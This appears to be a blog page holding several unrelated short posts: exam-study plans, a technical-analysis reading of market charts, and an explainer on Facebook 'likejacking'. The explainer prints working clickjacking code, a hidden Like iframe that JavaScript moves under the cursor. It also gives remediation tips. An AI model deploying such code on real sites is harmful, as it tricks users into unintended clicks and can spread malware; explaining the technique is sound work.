On the next exam (70-640), I am going to change up my study method and likely order trainsignal and see how I feel with their product instead of reading the book. I love reading, but would like to give another study method a try and see how I do. I have heard great things about them and some of my colleagues speak well of their products for prepping for an exam.

1 Month Chart – So basically here what we are looking at is a hammer candle. Usually it is indicative of a reversal, towards the top of a rally it suggests that we are almost at the peak.

Zoomed out chart, each candle is 1 month.

1 Week Chart – The least convincing of the three to me however, after looking towards the more recent weeks, it looks like we almost have a bullish rising three going, a better example can be found here. It also looks like we broke a bit of resistance, but aren’t home free yet.

Zoomed out chart, each candle is 1 week.

1 Day Chart – The one day chart again has the hammer, suggesting that the end to the rally is near, this also happened to be the point before a resistance point was broken.

After looking at all of this, I believe that the market may pull back a bit, we have had 8 months of gains, since the market bottomed out this has been our best streak so far. While I believe we have broken some resistance in the 1w chart, I am not convinced we are home free for another month of a gains. There are technical indicators that suggest that the market will go down, but there has been a decent amount of good news to go around. Let’s see what happens tomorrow !

For you non-tech savvy users, you can skip to the reccomendations / remediation portion. For those of you fellow geeks here this how this works;

<!--facebook like frame code goes here-->

<iframe src="http://www.facebook.com/plugins/like.php?href=http://www.mangawhat.com&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>

<!--end facebook like frame code-->

The above code shows one of my URL’s. So in the examples following this, I will not lead you to a domain that I believe to be unsafe. Basically this is the iframe that facebook provides webmasters to put on their website(s) so that a user may like it. In normal practice there is nothing wrong with this.

What has been done to this is, it was put into a div, with the id “icontainer” and been given these properties:

<div style="overflow-x: hidden; overflow-y: hidden; width: 10px; height: 12px; position: absolute; opacity: 50; top: 363px; left: 584px; " id="icontainer">

</div>

The importance of the above code is broken down as; any overflow is hidden, the width and height is 10×12 (pretty small), it is set to invisible so the user can’t even see it.

<script type="text/javascript">var interval;
$(function()
{
interval=setInterval("updateActiveElement();", 50);
});
function updateActiveElement()
{
if ( $(document.activeElement).attr('id')=="fbframe" )
{
clearInterval(interval);
iflag=1;
}
 }

</script>

and

<script>
var iflag = 0;
var icontainer = document.getElementById('icontainer');
 var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
function mouseFollower(e){
/*                    DO NOT EDIT THIS                         */
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
}
else
{
icontainer.style.top = (e.pageY-5)+'px';
icontainer.style.left = (e.pageX-5)+'px';
}
 }
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}
}

</script>

I am no javascript guru, but based on the source it is powered off of those two and jQuery used by many webmasters. I am sure someone in the comments will correct me if I am wrong on this one; the javascript is basically something designed to follow the mouse, “icontainer” as mentioned earlier is the element that contains the “div” to the code that the potentially malicious user wants you to click on.

Recommendations / Remediation:

I have no official recommendation with regards to fixing this. Sign out of your facebook when your done, or when you wont be at your desk for a while if others are using that machine as well. As an alternative sign in with a different browser. Such as use IE for facebook and Firefox to browse.

Possible Misuse:

Could this be misused? I have no doubt, lets throw in a hypothetical siuation. Say you have a facebook with 400 friends, you post this inadvertently, 40 users see it, and only 15 click on it, this is like the snowball effect because more and more users will see it. It could potentially be used to push out malware if used this way or to simply promote some website. I have seen other methods like this used, however have not seen this type of thing for sale until today. Could this be used for something other than posting stuff to my wall? I would not rule that out.

Example in action:
This example shown will not make you “like” or post anything offensive on your facebook, once you are done, remove the post from your wall if you would like. Click here for the example.

How to get a 16777226 score on the facebook game snake. This is just for fun, I did NOT discover how to do this, I just changed the score I wanted and put up a video.